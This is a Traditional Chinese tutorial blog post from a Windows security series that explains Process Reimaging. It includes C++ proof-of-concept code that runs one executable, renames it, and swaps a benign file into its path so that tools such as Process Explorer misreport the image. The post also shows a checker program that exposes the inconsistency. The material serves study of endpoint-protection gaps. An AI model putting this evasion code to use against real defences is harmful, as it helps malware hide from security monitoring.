iT邦幫忙

2023 iThome 鐵人賽

DAY 9
0
Security

Windows Security 101系列 第 9

[Day9] Process Injection Party (Part 3): Process Reimaging

  • 分享至 

  • xImage
  •  

今天有介紹的攻擊手法非常簡單,但是背後的原理卻十分有趣,這也是我認為這系列最有學習價值的攻擊方式。

不一致性 (Inconsistency) 常常發生在軟體的各個層面,也因此常常會出現一些開發者很難察覺的漏洞,而在今天的攻擊手法是針對 process 的結構中有多個記載 image file 的 FILE_OBJECT 欄位具有不一致性,也就是說我們有很多方式可以查到一個 process 的 image file,但是這些方式在某種情況下會出現不一致性。當端點防護產品 (Endpoint Protection Product) 有這樣的不一致性,便會有被繞過的風險。

Process Reimaging

以下透過這個專案(找不到原始專案,之後有空再補)實作的 Process Reimaging 進行介紹。

For FilePath

這個專案會針對 filepath 的不一致做測試,會新增兩個目錄,一個存放 benign PE,另一個存放 malicious PE。

1. Create directory and create process with malicious PE

先將 malicious PE 複製到新增的目錄,之後建立 process

  std::string executingPath = curPath + "\\executing";
	std::string hiddenPath = curPath + "\\hidden";
	int res = CreateDirectoryA(executingPath.c_str(), NULL);
	if (res == 0 && !(GetLastError() == ERROR_ALREADY_EXISTS)) {
		std::cout << "[-] Error creating directory: " << executingPath << "\n";
		return 1;
	}
	
	std::string fullExecutingPath = executingPath + "\\phase1.exe";
	//std::string fullHiddenPath = hiddenPath + "\\" + badExeName;
	BOOL boolRes = CopyFileA(badExe.c_str(), fullExecutingPath.c_str(), FALSE);
	if (!boolRes) {
		std::cout << "[-] Could not copy " << badExeName << " to " << fullExecutingPath << "\n";
		return 1;
	}
	std::cout << "[*] Copied " << badExeName << " to " << fullExecutingPath << "\n";
	std::cout << "[*] Starting process in executing directory...\n";

	std::wstring wFullExecutingPath = utf8_decode(fullExecutingPath);
	STARTUPINFOW si = { sizeof(si) };
	PROCESS_INFORMATION pi;
	// Create the process for phase1.exe, which is really badExe.
	res = CreateProcessW((LPWSTR)wFullExecutingPath.c_str(), NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
	if (res == 0) {
		DWORD err = GetLastError();
		std::cout << "[-] Error creating process: " << err << "\n";
		return 1;
	}
	std::cout << "[*] Started " << fullExecutingPath << "\n";
	std::cout << "[*] Moving  phase1.exe (" << badExeName << ") to " << hiddenPath << "\n";	

2. Rename the directory of malicious PE

將 malicious PE 所在的目錄名稱改名

  // Move the executing directory to the hidden directory
	boolRes = MoveFileA(executingPath.c_str(), hiddenPath.c_str());
	if (!boolRes) {
		DWORD err = GetLastError();
		std::cout << "[-] Failed to move file to hidden directory:" << err << "\n";
		return 1;
	}

3. Create directory and copy benign PE to the original path

再新增一次剛剛改名前的目錄,並將 benign PE 複製到這個目錄

  // Now need to put goodExe in executing\phase1.exe 
	std::cout << "[*] Copying " << goodExe << " to " << fullExecutingPath << "\n";
	res = CreateDirectoryA(executingPath.c_str(), NULL);
	if (res == 0 && !(GetLastError() == ERROR_ALREADY_EXISTS)) {
		std::cout << "[-] Error creating directory: " << executingPath << "\n";
		return 1;
	}
	boolRes = CopyFileA(goodExe.c_str(), fullExecutingPath.c_str(), TRUE);
	if (!boolRes) {
		std::cout << "[-] Failed to copy file to executing directory.\n";
		return 1;
	}
	std::cout << "[+] All done!\n";
	return 0;

不一致性會發生在 NtQueryInformationProcessNtQueryVirtualMemory 在取得 FILE_OBJECT 時,會查找 EPROCESS 不同的位置所記載的 FILE_OBJECT。

NT APIs Source Related APIs
NtQueryInformationProcess EPROCESS→SectionObject, EPROCESS→ImageFilePointer, EPROCESS→ImageFileName, EPROCESS→SeAuditProcessCreationInfo K32GetModuleFileNameEx, K32GetProcessImageFileName, QueryFullProcessImageImageFileName
NtQueryVirtualMemory EPROCESS→Vad GetMappedFileName

Result

在實驗中,以 Dbgview64.exe 為 malicious PE,Autoruns64.exe 為 benign PE。

https://ithelp.ithome.com.tw/upload/images/20230923/201200989Gt8ztW5T9.png

從 Process Explorer 可以看到奇怪的現象是,我們本來要隱藏執行的 Dbgview64.exe 的 icon 被換成 Autoruns64.exe 的,這代表 Process Explorer 的實作中確實再取得 FILE_OBJECT 有不一致的狀況發生。我自己試了幾次會發現其實很不穩定,但有個趨勢是同個 image 會隨著載入的次數增加,載入完成的速度會更快 (可能是因為 cache 機制?),也因此失敗的機會越高。

https://ithelp.ithome.com.tw/upload/images/20230923/20120098ZIlLH4ar40.png

我自己也寫了一個用 NtQueryInformationProcessNtQueryVirtualMemory 去查詢 image file 的專案

void main(int argc, char* argv[])
{
	PUNICODE_STRING ImageFileName1;
	PUNICODE_STRING ImageFileName2;

	PROCESS_BASIC_INFORMATION ProcessBasicInfo = { 0 };
	MEMORY_BASIC_INFORMATION MemBasicInfo = { 0 };

	NTSTATUS Status;
	UINT64 ReturnLength = 0;
	HANDLE hProcess = 0;
	DWORD BufferSize;
	PPEB pPEB = 0;

	/*
	strProcName = (wchar_t*)malloc((wcslen(argv[1]) + 1) * sizeof(wchar_t));
	strProcName = argv[1];
	dwProcessId = FindPidByName(strProcName);
	*/
	dwProcessId = atoi(argv[1]);
	InitNtApis();

	// Allocate string big enough to hold name 
	BufferSize = sizeof(UNICODE_STRING) + (1024 * sizeof(WCHAR));
	ImageFileName1 = (PUNICODE_STRING)LocalAlloc(LMEM_FIXED, BufferSize);
	if (ImageFileName1 == NULL)
	{
		exit(1);
	}
	ImageFileName2 = (PUNICODE_STRING)LocalAlloc(LMEM_FIXED, BufferSize);
	if (ImageFileName2 == NULL)
	{
		exit(1);
	}

	// Get process handle passing in the process ID
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (hProcess == NULL)
	{
		printf("[-] Error: Could not open process for PID (%d).\n", dwProcessId);
		exit(1);
	}

    // Fetch Image Filename from EPROCESS
	printf("[+] Fetch Image Filename from EPROCESS\n");
	Status = NtQueryInformationProcess(hProcess, ProcessImageFileName, ImageFileName1, BufferSize, (PULONG)&ReturnLength);
	if (!NT_SUCCESS(Status)){
		exit(1);
	}
	printf("[+] Return Length: %x, Image File Name: %wZ\n", ReturnLength, ImageFileName1);

	// Fetch PEB address
	Status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcessBasicInfo, sizeof(ProcessBasicInfo), (PULONG)&ReturnLength);
	if (!NT_SUCCESS(Status)) {
		exit(1);
	}
	pPEB = (PEB*)malloc(sizeof(PEB));
	ReadProcessMemory(hProcess, (LPCVOID)ProcessBasicInfo.PebBaseAddress, pPEB, sizeof(PEB), 0);
	printf("[+] Return Length: %x, ProcessBasicInfo.PebBaseAddress: %lx, pPEB->ImageBaseAddress: %llx\n", ReturnLength, ProcessBasicInfo.PebBaseAddress, pPEB->ImageBaseAddress);

	// Other APIs:
    //	K32GetModuleInformation();
    //	K32GetProcessImageFileNameA();
    //	QueryFullProcessImageNameA();

    // Fetch Image Filename from VADs
	printf("[+] Fetch Image Filename from VADs\n");
	// 1. Query basic information 
	Status = NtQueryVirtualMemory(hProcess, (LPVOID)pPEB->ImageBaseAddress, MemoryBasicInformation, &MemBasicInfo, sizeof(MEMORY_BASIC_INFORMATION), &ReturnLength);
	if (!NT_SUCCESS(Status)) {
		exit(1);
	}
	printf("[+] Return Length: %x, MemBasicInfo.AllocationBase: %llx\n", ReturnLength, MemBasicInfo.AllocationBase);

	// 2. Query Mapped Filename
	Status = NtQueryVirtualMemory(hProcess, (LPVOID)MemBasicInfo.AllocationBase, MemoryMappedFilenameInformation, ImageFileName2, BufferSize, &ReturnLength);
	if (!NT_SUCCESS(Status)){
		exit(1);
	}
	printf("[+] Return Length: %x, Image File Name: %wZ\n", ReturnLength, ImageFileName2);

	// Other APIs:
    //	K32GetMappedFileNameA();
}

在 filepath 的實驗中其實看不太出來究竟是如何造成 Process Explorer 會存取到 benign PE 的 icon 的原因,等之後有時間在繼續研究QQ

https://ithelp.ithome.com.tw/upload/images/20230923/20120098VqRdPVsjX8.png

For FileName

接下來的專案是稍為修改上個專案,換成針對 filename 的不一致做測試,會新增兩個檔案分別是 phase1.exe 和 phase2.exe,一個存放 benign PE,另一個存放 malicious PE。

1. Create directory and create process with malicious PE

先將 malicious PE 複製到新增的目錄,之後建立 process

	std::string executingPath = curPath + "\\executing";
	//std::string hiddenPath = curPath + "\\executing";
	int res = CreateDirectoryA(executingPath.c_str(), NULL);
	if (res == 0 && !(GetLastError() == ERROR_ALREADY_EXISTS)) {
		std::cout << "[-] Error creating directory: " << executingPath << "\n";
		return 1;
	}
	
	std::string fullExecutingPath = executingPath + "\\phase1.exe";
	std::string fullHiddenPath = executingPath + "\\\phase2.exe";
	BOOL boolRes = CopyFileA(badExe.c_str(), fullExecutingPath.c_str(), FALSE);
	if (!boolRes) {
		std::cout << "[-] Could not copy " << badExeName << " to " << fullExecutingPath << "\n";
		return 1;
	}
	std::cout << "[*] Copied " << badExeName << " to " << fullExecutingPath << "\n";
	std::cout << "[*] Starting process in executing directory...\n";

	std::wstring wFullExecutingPath = utf8_decode(fullExecutingPath);
	STARTUPINFOW si = { sizeof(si) };
	PROCESS_INFORMATION pi;
	// Create the process for phase1.exe, which is really badExe.
	res = CreateProcessW((LPWSTR)wFullExecutingPath.c_str(), NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
	if (res == 0) {
		DWORD err = GetLastError();
		std::cout << "[-] Error creating process: " << err << "\n";
		return 1;
	}
	std::cout << "[*] Started " << fullExecutingPath << "\n";
	std::cout << "[*] Moving  phase1.exe (" << badExeName << ") to " << fullHiddenPath << "\n";

2. Rename malicious PE

將 malicious PE 改名

	// Move the executing directory to the hidden directory
	boolRes = MoveFileA(fullExecutingPath.c_str(), fullHiddenPath.c_str());
	if (!boolRes) {
		DWORD err = GetLastError();
		std::cout << "[-] Failed to move file to hidden directory:" << err << "\n";
		return 1;
	}

3. Copy benign PE to the original path

將 benign PE 複製到剛剛改名的 filename

// Now need to put goodExe in executing\phase1.exe 
	std::cout << "[*] Copying " << goodExe << " to " << fullExecutingPath << "\n";
	/*
	res = CreateDirectoryA(executingPath.c_str(), NULL);
	if (res == 0 && !(GetLastError() == ERROR_ALREADY_EXISTS)) {
		std::cout << "[-] Error creating directory: " << executingPath << "\n";
		return 1;
	}
	*/
	boolRes = CopyFileA(goodExe.c_str(), fullExecutingPath.c_str(), TRUE);
	if (!boolRes) {
		std::cout << "[-] Failed to copy file to executing directory.\n";
		return 1;
	}
	std::cout << "[+] All done!\n";

Result

https://ithelp.ithome.com.tw/upload/images/20230924/20120098cEaqsG20aX.png

https://ithelp.ithome.com.tw/upload/images/20230924/20120098KFxVX0Y9KT.png

這個結果看起來比 filepath 的好,Process Explorer 只抓到 malicious PE 的資訊

https://ithelp.ithome.com.tw/upload/images/20230924/20120098P61iA3bNxT.png

我寫的 checker.exe 也有明顯的差異,只有 VADs 有成功被更新 malicious PE 的新 filename,而 EPROCESS 的欄位則沒有

在寫以上程式碼的時候,感受到看別人的 writeups 和自己寫的花費時間差很多XD
但是觀念有了以後,方向就蠻正確的。像是 NtQueryVirtualMemory 的使用就很謎,在參考了 Process Hacker 和 ReactOS 後才稍微知道該怎麼用,之後就塞了 ImageBase 看看能不能從這個 address 直接爬 VADs,結果就成功找出 image path 了。

下一篇我要介紹的是 Process Herpaderping! (我還沒開始寫QQ)

References


上一篇
[Day8] Process Injection Party (Part 2): Process Doppelganging
下一篇
[Day10] Process Injection Party (Part 4): Process Herpaderping
系列文
Windows Security 10130
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言